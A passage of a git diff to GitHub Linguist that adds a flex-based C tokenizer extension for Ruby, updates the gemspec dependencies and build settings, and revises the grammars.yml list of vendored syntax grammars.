+#undef yyfree
+#endif
+#ifndef linguist_yytext_ALREADY_DEFINED
+#undef yytext
+#endif
+#ifndef linguist_yyleng_ALREADY_DEFINED
+#undef yyleng
+#endif
+#ifndef linguist_yyin_ALREADY_DEFINED
+#undef yyin
+#endif
+#ifndef linguist_yyout_ALREADY_DEFINED
+#undef yyout
+#endif
+#ifndef linguist_yy_flex_debug_ALREADY_DEFINED
+#undef yy_flex_debug
+#endif
+#ifndef linguist_yylineno_ALREADY_DEFINED
+#undef yylineno
+#endif
+#ifndef linguist_yytables_fload_ALREADY_DEFINED
+#undef yytables_fload
+#endif
+#ifndef linguist_yytables_destroy_ALREADY_DEFINED
+#undef yytables_destroy
+#endif
+#ifndef linguist_yyTABLES_NAME_ALREADY_DEFINED
+#undef yyTABLES_NAME
+#endif
+
+#line 176 "tokenizer.l"
+
+
+#line 702 "lex.linguist_yy.h"
+#undef linguist_yyIN_HEADER
+#endif /* linguist_yyHEADER_H */
diff --git a/ext/linguist/linguist.c b/ext/linguist/linguist.c
new file mode 100644
index 0000000000..6f72ffbb3b
--- /dev/null
+++ b/ext/linguist/linguist.c
@@ -0,0 +1,45 @@
+#include "ruby.h"
+#include "lex.linguist_yy.h"
+
+int linguist_yywrap(yyscan_t yyscanner) {
+	return 1;
+}
+
+static VALUE rb_tokenizer_extract_tokens(VALUE self, VALUE rb_data) {
+	YY_BUFFER_STATE buf;
+	yyscan_t scanner;
+	VALUE extra;
+	VALUE ary;
+	long len;
+	int r;
+
+	Check_Type(rb_data, T_STRING);
+
+	len = RSTRING_LEN(rb_data);
+	if (len > 100000)
+		len = 100000;
+
+	linguist_yylex_init_extra(&extra, &scanner);
+	buf = linguist_yy_scan_bytes(RSTRING_PTR(rb_data), (int) len, scanner);
+
+	ary = rb_ary_new();
+	do {
+		extra = 0;
+		r = linguist_yylex(scanner);
+		if (extra) {
+			rb_ary_push(ary, extra);
+		}
+	} while (r);
+
+	linguist_yy_delete_buffer(buf, scanner);
+	linguist_yylex_destroy(scanner);
+
+	return ary;
+}
+
+__attribute__((visibility("default"))) void Init_linguist() {
+	VALUE rb_mLinguist = rb_define_module("Linguist");
+	VALUE rb_cTokenizer = rb_define_class_under(rb_mLinguist, "Tokenizer", rb_cObject);
+
+	rb_define_method(rb_cTokenizer, "extract_tokens", rb_tokenizer_extract_tokens, 1);
+}
diff --git a/ext/linguist/linguist.h b/ext/linguist/linguist.h
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/ext/linguist/tokenizer.l b/ext/linguist/tokenizer.l
new file mode 100644
index 0000000000..33e15c276e
--- /dev/null
+++ b/ext/linguist/tokenizer.l
@@ -0,0 +1,176 @@
+%{
+
+#include "ruby.h"
+
+// Anything longer is unlikely to be useful.
+#define MAX_TOKEN_LEN 16
+
+#define FEED2(s, l) do { \
+    const char* __s = (s); \
+    const size_t __l = (l); \
+    const size_t __cl = __l > MAX_TOKEN_LEN? MAX_TOKEN_LEN : __l; \
+    *yyextra = rb_str_new(__s, __cl); \
+  } while(0)
+
+#define FEED1(s) FEED2(s, strlen(s))
+
+#define FEED() FEED2(yytext, yyleng)
+
+#define FEED_STATIC(s) FEED2(s, sizeof(s) - 1)
+
+#define FEED_SHEBANG(s) do { \
+    const size_t __l = strlen(s); \
+    const size_t __cl = __l > MAX_TOKEN_LEN? MAX_TOKEN_LEN : __l; \
+    *yyextra = rb_str_new("SHEBANG#!", sizeof("SHEBANG#!") - 1); \
+    rb_str_cat(*yyextra, s, __cl); \
+  } while(0)
+
+#define eat_until_eol() do { \
+    int c; \
+    while ((c = input(yyscanner)) != '\n' && c != EOF && c); \
+    if (c == EOF || !c) \
+      return 0; \
+  } while (0)
+
+#define eat_until_unescaped(q) do { \
+    int c; \
+    while ((c = input(yyscanner)) != EOF && c) { \
+      if (c == '\n') \
+        break; \
+      if (c == '\\') { \
+        c = input(yyscanner); \
+        if (c == EOF || !c) \
+          return 0; \
+      } else if (c == q) \
+        break; \
+    } \
+    if (c == EOF || !c) \
+      return 0; \
+  } while (0)
+
+%}
+
+%option never-interactive yywrap reentrant nounput warn nodefault header-file="lex.linguist_yy.h" extra-type="VALUE*" prefix="linguist_yy"
+%x c_comment xml_comment haskell_comment ocaml_comment python_dcomment python_scomment roff_comment lean_comment
+
+%%
+
+^#![ \t]*([[:alnum:]_\/]*\/)?env([ \t]+([^ \t=]*=[^ \t]*))*[ \t]+[[:alpha:]_]+ {
+  const char *off = strrchr(yytext, ' ');
+  if (!off)
+    off = yytext;
+  else
+    ++off;
+  FEED_SHEBANG(off);
+  eat_until_eol();
+  return 1;
+}
+
+^#![ \t]*[[:alpha:]_\/]+  {
+  const char *off = strrchr(yytext, '/');
+  if (!off)
+    off = yytext;
+  else
+   ++off;
+  if (strcmp(off, "env") == 0) {
+    eat_until_eol();
+  } else {
+    FEED_SHEBANG(off);
+    eat_until_eol();
+    return 1;
+  }
+}
+
+^[ \t]*[#]+(" ".*|\n)    { FEED_STATIC("COMMENT#"); return 1; }
+^[ \t]*"//!"(" ".*|\n)   { FEED_STATIC("COMMENT//!"); return 1; }
+^[ \t]*"//".*[\n]?       { FEED_STATIC("COMMENT//"); return 1; }
+^[ \t]*"--"(" ".*|\n)    { FEED_STATIC("COMMENT--"); return 1; }
+^[ \t]*[%]+(" ".*|\n)    { FEED_STATIC("COMMENT%"); return 1; }
+^[ \t]*\"(" ".*|\n)      { FEED_STATIC("COMMENT\""); return 1; }
+^[ \t]*;+(" ".*|\n)      { FEED_STATIC("COMMENT;"); return 1; }
+^[.][ \t]*\\\"(.*|\n)    { FEED_STATIC("COMMENT.\\\""); return 1; }
+^['][ \t]*\\\"(.*|\n)    { FEED_STATIC("COMMENT'\\\""); return 1; }
+^"$! "(.*|\n)            { FEED_STATIC("COMMENT$!"); return 1; }
+
+"/**/"                   { FEED_STATIC("COMMENT/*"); return 1; }
+"/**"                    { FEED_STATIC("COMMENT/**"); BEGIN(c_comment); return 1; }
+"/*!"                    { FEED_STATIC("COMMENT/*!"); BEGIN(c_comment); return 1; }
+"/*"                     { FEED_STATIC("COMMENT/*"); BEGIN(c_comment); return 1; }
+"<!--"                   { FEED_STATIC("COMMENT<!--"); BEGIN(xml_comment); return 1; }
+"{-"                     { FEED_STATIC("COMMENT{-"); BEGIN(haskell_comment); return 1; }
+"(*"                     { FEED_STATIC("COMMENT(*"); BEGIN(ocaml_comment); return 1; }
+"\"\"\""                 { FEED_STATIC("COMMENT\"\"\""); BEGIN(python_dcomment); return 1; }
+"'''"                    { FEED_STATIC("COMMENT'''"); BEGIN(python_scomment); return 1; }
+^".ig"\n                 { FEED_STATIC("COMMENT.ig"); BEGIN(roff_comment); return 1; }
+"/--"                     { FEED_STATIC("COMMENT/-"); BEGIN(lean_comment); return 1; }
+"/-"                     { FEED_STATIC("COMMENT/-"); BEGIN(lean_comment); return 1; }
+
+<c_comment,xml_comment,haskell_comment,ocaml_comment,python_dcomment,python_scomment,roff_comment,lean_comment>.|\n { /* nothing */ }
+<c_comment>"*/"                   { BEGIN(INITIAL); }
+<xml_comment>"-->"                { BEGIN(INITIAL); }
+<haskell_comment>"-}"             { BEGIN(INITIAL); }
+<ocaml_comment>"*)"               { BEGIN(INITIAL); }
+<python_dcomment>"\"\"\""         { BEGIN(INITIAL); }
+<python_scomment>"'''"            { BEGIN(INITIAL); }
+<roff_comment>".."\n              { BEGIN(INITIAL); }
+<lean_comment>"-/"                { BEGIN(INITIAL); }
+
+\"\"|''                           { /* nothing */ }
+\"                                { eat_until_unescaped('"'); }
+'                                 { eat_until_unescaped('\''); }
+(0x[0-9a-fA-F]([0-9a-fA-F]|\.)*|[0-9]([0-9]|\.)*)([uU][lL]{0,2}|([eE][-+][0-9]*)?[fFlL]*) { /* nothing */ }
+
+[.@#$]?[[:alnum:]_]+              { FEED(); return 1; }
+
+[(]+[)]+                          { FEED(); return 1; }
+[{]+[}]+                          { FEED(); return 1; }
+[\[]+[\]]+                        { FEED(); return 1; }
+[(]+|[)]+                         { FEED(); return 1; }
+[{]+|[}]+                         { FEED(); return 1; }
+[\[]+|[\]]+                       { FEED(); return 1; }
+[$]([(]+|[{]+|[\[]]+)             { FEED(); return 1; }
+
+"(...)"|"{...}"|"[...]"           { FEED(); return 1; }
+
+"&>"|"<&"|"<&-"|"&>>"|">&"        { FEED(); return 1; }
+"|&"|"&|"                         { FEED(); return 1; }
+
+[-]+[>]+                          { FEED(); return 1; }
+[<]+[-]+                          { FEED(); return 1; }
+
+[!]+[=]+                          { FEED(); return 1; }
+[<>]*[=]+[<>]*                    { FEED(); return 1; }
+[<][/]?[?%!#@]                    { FEED(); return 1; }
+[?%!][>]                          { FEED(); return 1; }
+[<>/]+                            { FEED(); return 1; }
+[-+*/%&|^~:][=]+                  { FEED(); return 1; }
+[!=][~]                           { FEED(); return 1; }
+":-"                              { FEED(); return 1; }
+
+[.][*]+[?]?                       { FEED(); return 1; }
+[.][+]+[?]?                       { FEED(); return 1; }
+"(?:"                             { FEED(); return 1; }
+
+[-]+                              { FEED(); return 1; }
+[!]+                              { FEED(); return 1; }
+[#]+                              { FEED(); return 1; }
+[$]+                              { FEED(); return 1; }
+[%]+                              { FEED(); return 1; }
+[&]+                              { FEED(); return 1; }
+[*]+                              { FEED(); return 1; }
+[+]+                              { FEED(); return 1; }
+[,]+                              { FEED(); return 1; }
+[.]+                              { FEED(); return 1; }
+[:]+                              { FEED(); return 1; }
+[;]+                              { FEED(); return 1; }
+[?]+                              { FEED(); return 1; }
+[@]+                              { FEED(); return 1; }
+[\\]+                             { FEED(); return 1; }
+[\^]+                             { FEED(); return 1; }
+[`]+                              { FEED(); return 1; }
+[|]+                              { FEED(); return 1; }
+[~]+                              { FEED(); return 1; }
+
+.|\n                              { /* nothing */ }
+
+%%
diff --git a/github-linguist.gemspec b/github-linguist.gemspec
index 10a85f34ee..8a00b9de42 100644
--- a/github-linguist.gemspec
+++ b/github-linguist.gemspec
@@ -2,30 +2,36 @@ require File.expand_path('../lib/linguist/version', __FILE__)
 
 Gem::Specification.new do |s|
   s.name    = 'github-linguist'
-  s.version = Linguist::VERSION
+  s.version = ENV['GEM_VERSION'] || Linguist::VERSION
   s.summary = "GitHub Language detection"
   s.description = 'We use this library at GitHub to detect blob languages, highlight code, ignore binary files, suppress generated files in diffs, and generate language breakdown graphs.'
 
   s.authors  = "GitHub"
-  s.homepage = "https://github.com/github/linguist"
+  s.homepage = "https://github.com/github-linguist/linguist"
   s.license  = "MIT"
+  s.metadata = {
+    "github_repo" => "ssh://github.com/github-linguist/linguist"
+  }
 
-  s.files = Dir['lib/**/*'] + Dir['grammars/*'] + ['LICENSE']
-  s.executables = ['linguist', 'git-linguist']
+  s.files = Dir['{lib,ext}/**/*', 'grammars/*', 'LICENSE'] - Dir['lib/linguist/linguist.{so,bundle}']
+  s.platform = Gem::Platform::RUBY
+  s.executables = ['github-linguist', 'git-linguist']
+  s.extensions = ['ext/linguist/extconf.rb']
+  s.require_paths = ['lib', 'ext']
 
-  s.add_dependency 'charlock_holmes', '~> 0.7.3'
-  s.add_dependency 'escape_utils',    '~> 1.1.0'
-  s.add_dependency 'mime-types',      '>= 1.19'
-  s.add_dependency 'rugged',          '>= 0.23.0b'
+  s.add_dependency 'cgi',             '>= 0'
+  s.add_dependency 'charlock_holmes', '~> 0.7.7'
+  s.add_dependency 'mini_mime',       '~> 1.0'
+  s.add_dependency 'rugged',          '~> 1.0'
 
-  s.add_development_dependency 'minitest', '>= 5.0'
-  s.add_development_dependency 'mocha'
+  s.add_development_dependency 'minitest', '~> 5.15'
+  s.add_development_dependency 'rake-compiler', '~> 0.9'
+  s.add_development_dependency 'mocha', '~> 2.1'
   s.add_development_dependency 'plist', '~>3.1'
-  s.add_development_dependency 'pry'
-  s.add_development_dependency 'rake'
-  s.add_development_dependency 'yajl-ruby'
-  s.add_development_dependency 'color-proximity', '~> 0.2.1'
-  s.add_development_dependency 'licensed'
-  s.add_development_dependency 'licensee', '>= 8.3.0'
-
+  s.add_development_dependency 'pry', '~> 0.14'
+  s.add_development_dependency 'rake', '~> 13.0'
+  s.add_development_dependency 'yajl-ruby', '~> 1.4'
+  s.add_development_dependency 'licensed', '~> 4.0'
+  s.add_development_dependency 'licensee', '~> 9.15'
+  s.add_development_dependency 'bundler', '~> 2.0'
 end
diff --git a/go.work b/go.work
new file mode 100644
index 0000000000..220ca430e0
--- /dev/null
+++ b/go.work
@@ -0,0 +1,3 @@
+go 1.20
+
+use ./tools/grammars
diff --git a/grammars.yml b/grammars.yml
old mode 100755
new mode 100644
index 0751772f4c..4a05ec7ead
--- a/grammars.yml
+++ b/grammars.yml
@@ -1,49 +1,42 @@
----
-http://svn.edgewall.org/repos/genshi/contrib/textmate/Genshi.tmbundle/Syntaxes/Markup%20Template%20%28XML%29.tmLanguage:
+https://svn.edgewall.org/repos/genshi/contrib/textmate/Genshi.tmbundle/Syntaxes/Markup%20Template%20%28XML%29.tmLanguage:
 - text.xml.genshi
-http://svn.textmate.org/trunk/Review/Bundles/BlitzMax.tmbundle:
-- source.blitzmax
-http://svn.textmate.org/trunk/Review/Bundles/Cython.tmbundle:
-- source.cython
-http://svn.textmate.org/trunk/Review/Bundles/Forth.tmbundle:
-- source.forth
-http://svn.textmate.org/trunk/Review/Bundles/Parrot.tmbundle:
-- source.parrot.pir
-http://svn.textmate.org/trunk/Review/Bundles/SecondLife%20LSL.tmbundle:
-- source.lsl
-http://svn.textmate.org/trunk/Review/Bundles/VHDL.tmbundle:
-- source.vhdl
-http://svn.textmate.org/trunk/Review/Bundles/XQuery.tmbundle:
-- source.xquery
-https://bitbucket.org/Clams/sublimesystemverilog/get/default.tar.gz:
-- source.systemverilog
-- source.ucfconstraints
-vendor/grammars/Agda.tmbundle:
-- source.agda
+vendor/grammars/AL:
+- source.al
 vendor/grammars/Alloy.tmbundle:
 - source.alloy
-vendor/grammars/AutoHotkey/:
+vendor/grammars/Assembly-Syntax-Definition:
+- source.x86
+vendor/grammars/Atom-PostScript:
+- source.postscript
+vendor/grammars/AtomLanguageVelocity:
+- source.velocity
+- source.velocity.html
+vendor/grammars/AutoHotkey:
 - source.ahk
-vendor/grammars/BrightScript.tmbundle/:
-- source.brightauthorproject
-- source.brightscript
+vendor/grammars/CUE-Sheet_sublime:
+- source.cuesheet
+vendor/grammars/CoDT7-Sublime:
+- source.gsc
 vendor/grammars/ColdFusion:
 - source.cfscript
 - source.cfscript.cfc
 - text.cfml.basic
 - text.html.cfm
+vendor/grammars/Cylc.tmbundle:
+- source.cylc
+vendor/grammars/Dafny-VSCode:
+- text.dfy.dafny
 vendor/grammars/Docker.tmbundle:
 - source.dockerfile
-vendor/grammars/Elm/:
+vendor/grammars/Elm/Syntaxes:
 - source.elm
+- text.html.mediawiki.elm-build-output
+- text.html.mediawiki.elm-documentation
 vendor/grammars/FreeMarker.tmbundle:
 - text.html.ftl
-vendor/grammars/G-Code/:
-- source.LS
-- source.MCPOST
-- source.MOD
-- source.apt
-- source.gcode
+vendor/grammars/GeneroFgl.tmbundle:
+- source.genero-4gl
+- source.genero-per
 vendor/grammars/Handlebars:
 - text.html.handlebars
 vendor/grammars/IDL-Syntax:
@@ -51,46 +44,74 @@ vendor/grammars/IDL-Syntax:
 vendor/grammars/Isabelle.tmbundle:
 - source.isabelle.root
 - source.isabelle.theory
-vendor/grammars/JSyntax/:
+vendor/grammars/JSyntax:
 - source.j
-vendor/grammars/Julia.tmbundle:
-- source.julia
-vendor/grammars/Lean.tmbundle:
-- source.lean
+vendor/grammars/LOLCODE-grammar-vscode:
+- source.lolcode
+vendor/grammars/Ligo-grammar:
+- source.jsligo
+- source.ligo
+- source.mligo
+- source.religo
 vendor/grammars/LiveScript.tmbundle:
 - source.livescript
+vendor/grammars/Luau.tmLanguage:
+- source.luau
+vendor/grammars/MATLAB-Language-grammar:
+- source.matlab
+vendor/grammars/MQL5-sublime:
+- source.mql5
 vendor/grammars/MagicPython:
 - source.python
 - source.regexp.python
-vendor/grammars/Modelica/:
+- text.python.console
+- text.python.traceback
+vendor/grammars/Modelica:
 - source.modelica
 vendor/grammars/NSIS:
 - source.nsis
+vendor/grammars/Nasal.tmbundle:
+- source.nasal
 vendor/grammars/NimLime:
 - source.nim
-- source.nim_filter
-- source.nimcfg
+vendor/grammars/NovaGrammars:
+- source.git-revlist
+- source.json
+- source.keyvalues
+- source.redirects
+- source.solution
+- source.win32-messages
+- source.ws
+- text.hash-commented
+- text.robots-txt
+vendor/grammars/ObjectScript.tmBundle:
+- source.objectscript
+- source.objectscript_class
+- source.objectscript_csp
+- source.objectscript_macros
 vendor/grammars/PHP-Twig.tmbundle:
 - text.html.twig
-vendor/grammars/PogoScript.tmbundle/:
+vendor/grammars/PogoScript.tmbundle:
 - source.pogoscript
+vendor/grammars/PowerBuilder.tmbundle:
+- source.powerbuilder
 vendor/grammars/RDoc.tmbundle:
 - text.rdoc
 vendor/grammars/Racket:
 - source.racket
-vendor/grammars/SCSS.tmbundle:
-- source.scss
 vendor/grammars/SMT.tmbundle:
 - source.smt
 vendor/grammars/Scalate.tmbundle:
 - source.scaml
 - text.html.ssp
+vendor/grammars/Scenic-tmLanguage:
+- source.scenic
 vendor/grammars/Slash.tmbundle:
 - text.html.slash
-vendor/grammars/Stata.tmbundle/:
+vendor/grammars/Stata.tmbundle:
 - source.mata
 - source.stata
-vendor/grammars/Stylus/:
+vendor/grammars/Stylus:
 - source.stylus
 vendor/grammars/Sublime-Coq:
 - source.coq
@@ -100,10 +121,12 @@ vendor/grammars/Sublime-Lasso:
 - file.lasso
 vendor/grammars/Sublime-Loom:
 - source.loomscript
-vendor/grammars/Sublime-Modula-2/:
+vendor/grammars/Sublime-Modula-2:
 - source.modula2
 vendor/grammars/Sublime-Nit:
 - source.nit
+vendor/grammars/Sublime-Pep8/:
+- source.pep8
 vendor/grammars/Sublime-QML:
 - source.qml
 vendor/grammars/Sublime-REBOL:
@@ -112,50 +135,78 @@ vendor/grammars/Sublime-Red:
 - source.red
 vendor/grammars/Sublime-SQF-Language:
 - source.sqf
-vendor/grammars/Sublime-Text-2-OpenEdge-ABL:
-- source.abl
-- text.html.abl
-vendor/grammars/Sublime-VimL:
-- source.viml
 vendor/grammars/SublimeBrainfuck:
 - source.bf
-vendor/grammars/SublimeClarion/:
+vendor/grammars/SublimeClarion:
 - source.clarion
+vendor/grammars/SublimeEthereum:
+- source.solidity
+- source.vyper
+- source.yul
 vendor/grammars/SublimeGDB/:
 - source.disasm
 - source.gdb
 - source.gdb.session
 - source.gdbregs
-vendor/grammars/SublimePapyrus/:
+vendor/grammars/SublimePapyrus:
 - source.papyrus.skyrim
-vendor/grammars/SublimePuppet/:
+vendor/grammars/SublimePuppet:
 - source.puppet
 vendor/grammars/SublimeXtend:
 - source.xtend
+vendor/grammars/Syntax-highlighting-for-PostCSS:
+- source.css.postcss.sugarss
+- source.postcss
+vendor/grammars/SystemVerilog:
+- source.systemverilog
+- source.ucfconstraints
 vendor/grammars/TLA:
 - source.tla
-vendor/grammars/TXL/:
+vendor/grammars/TXL:
 - source.txl
 vendor/grammars/Textmate-Gosu-Bundle:
 - source.gosu.2
+vendor/grammars/TypeScript-TmLanguage:
+- source.ts
+- source.tsx
+- text.error-list
+- text.find-refs
 vendor/grammars/UrWeb-Language-Definition:
 - source.ur
 vendor/grammars/VBDotNetSyntax:
 - source.vbnet
 vendor/grammars/Vala-TMBundle:
 - source.vala
+vendor/grammars/VscodeAdblockSyntax:
+- text.adblock
+vendor/grammars/WhileySyntaxBundle:
+- source.whiley
 vendor/grammars/X10:
 - source.x10
+vendor/grammars/XojoSyntaxTM:
+- source.xojo
+vendor/grammars/ZenScript-tmLanguage:
+- source.zenscript
+vendor/grammars/abap-cds-grammar:
+- source.abapcds
 vendor/grammars/abap.tmbundle:
 - source.abap
-vendor/grammars/actionscript3-tmbundle:
+vendor/grammars/abl-tmlanguage:
+- source.abl
+vendor/grammars/actionscript3-tmbundle/:
 - source.actionscript.3
 - text.html.asdoc
 - text.xml.flex-config
 vendor/grammars/ada.tmbundle:
 - source.ada
+vendor/grammars/agda-github-syntax-highlighting:
+- source.agda
+vendor/grammars/aidl-language:
+- source.aidl
 vendor/grammars/ampl:
 - source.ampl
+vendor/grammars/android-system-tools:
+- source.bp
 vendor/grammars/ant.tmbundle:
 - text.xml.ant
 vendor/grammars/antlr.tmbundle:
@@ -163,95 +214,170 @@ vendor/grammars/antlr.tmbundle:
 vendor/grammars/apache.tmbundle:
 - source.apache-config
 - source.apache-config.mod_perl
-vendor/grammars/api-blueprint-sublime-plugin/:
+vendor/grammars/apex-tmLanguage:
+- source.apex
+- source.soql
+vendor/grammars/api-blueprint-sublime-plugin:
 - text.html.markdown.source.gfm.apib
 - text.html.markdown.source.gfm.mson
 vendor/grammars/applescript.tmbundle:
 - source.applescript
-vendor/grammars/asciidoc.tmbundle/:
+vendor/grammars/asciidoc.tmbundle:
 - text.html.asciidoc
 vendor/grammars/asp.tmbundle:
 - source.asp
 - text.html.asp
-vendor/grammars/assembly/:
+vendor/grammars/assembly:
 - objdump.x86asm
 - source.x86asm
-vendor/grammars/atom-fsharp/:
-- source.fsharp
-- source.fsharp.fsi
-- source.fsharp.fsl
-- source.fsharp.fsx
+vendor/grammars/astro:
+- source.astro
+- text.html.markdown.astro
+- text.mdx.astro.codeblock
+vendor/grammars/atom-editorconfig:
+- source.editorconfig
+- text.plain
+vendor/grammars/atom-firestore-grammar:
+- source.firestore
+vendor/grammars/atom-fstar:
+- source.fstar
+vendor/grammars/atom-language-1c-bsl:
+- source.bsl
+- source.sdbl
 vendor/grammars/atom-language-clean:
 - source.clean
-vendor/grammars/atom-language-purescript/:
+- text.restructuredtext.clean
+vendor/grammars/atom-language-haproxy:
+- source.haproxy-config
+vendor/grammars/atom-language-innosetup:
+- source.inno
+vendor/grammars/atom-language-julia:
+- source.julia
+- source.julia.console
+vendor/grammars/atom-language-nextflow:
+- source.nextflow
+- source.nextflow-groovy
+vendor/grammars/atom-language-p4:
+- source.p4
+vendor/grammars/atom-language-perl6:
+- source.meta-info
+- source.quoting.raku
+- source.raku
+- source.regexp.raku
+vendor/grammars/atom-language-purescript:
 - source.purescript
-vendor/grammars/atom-language-srt:
-- text.srt
-vendor/grammars/atom-language-stan/:
+vendor/grammars/atom-language-stan:
 - source.stan
+vendor/grammars/atom-miniyaml:
+- source.miniyaml
 vendor/grammars/atom-salt:
 - source.python.salt
 - source.yaml.salt
-vendor/grammars/atomic-dreams/:
-- source.dm
-- source.dmf
 vendor/grammars/ats:
 - source.ats
+vendor/grammars/avro.tmLanguage:
+- source.avro
 vendor/grammars/awk-sublime:
 - source.awk
-vendor/grammars/bison.tmbundle:
-- source.bison
-vendor/grammars/boo/:
-- source.boo
-vendor/grammars/bro-sublime:
-- source.bro
+vendor/grammars/ballerina-grammar:
+- source.ballerina
+vendor/grammars/berry-grammar:
+- source.berry
+- source.berry.bytecode
+vendor/grammars/bicep:
+- markdown.bicep.codeblock
+- source.bicep
+vendor/grammars/bikeshed:
+- source.csswg
+vendor/grammars/blitzmax:
+- source.blitzmax
+vendor/grammars/boogie-vscode:
+- source.boogie
+vendor/grammars/bqn-vscode:
+- source.bqn
+vendor/grammars/browserslist-vscode:
+- text.browserslist
 vendor/grammars/c.tmbundle:
 - source.c
 - source.c++
 - source.c.platform
+vendor/grammars/cairo-tm-grammar:
+- source.cairo
+- source.cairo0
 vendor/grammars/capnproto.tmbundle:
 - source.capnp
 vendor/grammars/carto-atom:
 - source.css.mss
+vendor/grammars/cds-textmate-grammar:
+- source.cds
 vendor/grammars/ceylon-sublimetext:
-- module.ceylon
 - source.ceylon
 vendor/grammars/chapel-tmbundle:
 - source.chapel
+vendor/grammars/circom-highlighting-vscode:
+- source.circom
+vendor/grammars/clarity.tmbundle:
+- source.clar
 vendor/grammars/cmake.tmbundle:
 - source.cache.cmake
 - source.cmake
+vendor/grammars/code-peggy-language:
+- inline.peggy
+- source.peggy
+vendor/grammars/common-lisp-tmlanguage:
+- markdown.commonlisp.codeblock
+- source.commonlisp
+vendor/grammars/conllu-linguist-grammar:
+- text.conllu
 vendor/grammars/cool-tmbundle:
 - source.cool
 vendor/grammars/cpp-qt.tmbundle:
 - source.c++.qt
 - source.qmake
-vendor/grammars/creole/:
+vendor/grammars/creole:
 - text.html.creole
-vendor/grammars/css.tmbundle:
-- source.css
+vendor/grammars/cron.tmbundle:
+- text.crontab
+vendor/grammars/csharp-tmLanguage:
+- source.cs
 vendor/grammars/cucumber-tmbundle:
 - source.ruby.rspec.cucumber.steps
 - text.gherkin.feature
+vendor/grammars/cython:
+- source.cython
 vendor/grammars/d.tmbundle:
 - source.d
-vendor/grammars/dart-sublime-bundle:
+vendor/grammars/d2-vscode:
+- markdown.d2.codeblock
+- source.d2
+- text.html.markdown.d2
+vendor/grammars/dart-syntax-highlight:
 - source.dart
-- source.pubspec
-- text.dart-analysis-output
-- text.dart-doccomments
+vendor/grammars/data-weave-tmLanguage:
+- source.data-weave
+vendor/grammars/denizenscript-grammar:
+- source.denizenscript
 vendor/grammars/desktop.tmbundle:
 - source.desktop
 vendor/grammars/diff.tmbundle:
 - source.diff
+vendor/grammars/dm-syntax:
+- source.dm
 vendor/grammars/dylan.tmbundle:
 - source.dylan
 - source.lid
 - source.makegen
-vendor/grammars/ebundles/Bundles/MSDOS batch file.tmbundle:
-- source.dosbatch
-vendor/grammars/ec.tmbundle/:
+vendor/grammars/earthfile-grammar:
+- source.earthfile
+vendor/grammars/ec.tmbundle:
 - source.c.ec
+vendor/grammars/ecl-tmLanguage:
+- source.ecl
+vendor/grammars/edge-vscode:
+- text.html.edge
+vendor/grammars/edgedb-editor-plugin:
+- inline.edgeql
+- source.edgeql
 vendor/grammars/eiffel.tmbundle:
 - source.eiffel
 vendor/grammars/ejs-tmbundle:
@@ -260,6 +386,10 @@ vendor/grammars/elixir-tmbundle:
 - source.elixir
 - text.elixir
 - text.html.elixir
+vendor/grammars/elvish:
+- source.elvish
+- source.elvish-transcript
+- source.elvish.in.markdown
 vendor/grammars/erlang.tmbundle:
 - source.erlang
 - text.html.erlang.yaws
@@ -268,52 +398,88 @@ vendor/grammars/factor:
 - text.html.factor
 vendor/grammars/fancy-tmbundle:
 - source.fancy
+vendor/grammars/firrtl-syntax:
+- source.firrtl
 vendor/grammars/fish-tmbundle:
 - source.fish
+vendor/grammars/forth:
+- source.forth
 vendor/grammars/fortran.tmbundle:
 - source.fortran
 - source.fortran.modern
-vendor/grammars/gap-tmbundle/:
+vendor/grammars/gap-tmbundle:
 - source.gap
-vendor/grammars/gdscript/:
-- source.gdscript
+vendor/grammars/gemfile-lock-tmlanguage:
+- source.gemfile-lock
+vendor/grammars/gemini-vscode:
+- source.gemini
 vendor/grammars/gettext.tmbundle:
 - source.po
 vendor/grammars/gnuplot-tmbundle:
 - source.gnuplot
 vendor/grammars/go-tmbundle:
 - source.go
+vendor/grammars/godot-vscode-plugin:
+- source.gdresource
+- source.gdscript
+- source.gdshader
 vendor/grammars/grace:
 - source.grace
 vendor/grammars/gradle.tmbundle:
 - source.groovy.gradle
+vendor/grammars/graphiql:
+- inline.graphql
+- inline.graphql.markdown.codeblock
+- inline.graphql.php
+- inline.graphql.python
+- inline.graphql.re
+- inline.graphql.res
+- inline.graphql.scala
+- source.graphql
 vendor/grammars/graphviz.tmbundle:
 - source.dot
 vendor/grammars/groovy.tmbundle:
 - source.groovy
-vendor/grammars/haskell.tmbundle:
-- source.haskell
-- text.tex.latex.haskell
-vendor/grammars/haxe-sublime-bundle:
-- source.erazor
-- source.haxe.2
-- source.hss.1
+vendor/grammars/haxe-TmLanguage:
+- documentation.markdown.injection.haxe
+- markdown.haxe.codeblock
+- markdown.hxml.codeblock
+- source.hlcode
+- source.hx
+- source.hx.argument
+- source.hx.type
 - source.hxml
-- source.nmml
-vendor/grammars/html.tmbundle:
-- text.html.basic
+vendor/grammars/holyc.tmbundle:
+- source.hc
+vendor/grammars/hoon-grammar:
+- source.hoon
+vendor/grammars/iCalendar-sublime:
+- source.iCalendar
+vendor/grammars/ide-tools:
+- source.toit
 vendor/grammars/idl.tmbundle:
 - source.idl
 - source.idl-dlm
 - text.idl-idldoc
-vendor/grammars/idris/:
+vendor/grammars/idris:
 - source.idris
+vendor/grammars/imba-linguist-grammar:
+- source.imba
 vendor/grammars/ini.tmbundle:
 - source.ini
+vendor/grammars/ink-tmlanguage:
+- source.ink
 vendor/grammars/io.tmbundle:
 - source.io
 vendor/grammars/ioke-outdated:
 - source.ioke
+vendor/grammars/ionide-fsgrammar:
+- source.fsharp
+- source.fsharp.fsi
+- source.fsharp.fsl
+- source.fsharp.fsx
+- source.paket.dependencies
+- source.paket.lock
 vendor/grammars/jade-tmbundle:
 - source.pyjade
 - text.jade
@@ -324,92 +490,331 @@ vendor/grammars/java.tmbundle:
 - source.java-properties
 - text.html.jsp
 - text.junit-test-report
+vendor/grammars/javadoc.tmbundle:
+- text.html.javadoc
 vendor/grammars/javascript-objective-j.tmbundle:
 - source.js.objj
 vendor/grammars/jflex.tmbundle:
 - source.jflex
-vendor/grammars/json.tmbundle:
-- source.json
-vendor/grammars/kotlin-sublime-package:
-- source.Kotlin
+vendor/grammars/jte-template-syntax-highlight:
+- text.html.jte
+vendor/grammars/kivy-language-grammer:
+- source.python.kivy
+vendor/grammars/kusto-sublime:
+- source.kusto
+vendor/grammars/lang-4d:
+- source.4dm
 vendor/grammars/language-agc:
 - source.agc
 vendor/grammars/language-apl:
 - source.apl
-vendor/grammars/language-babel/:
-- source.js.jsx
-- source.regexp.babel
-vendor/grammars/language-blade/:
+vendor/grammars/language-asl:
+- source.asl
+vendor/grammars/language-asn1:
+- source.asn
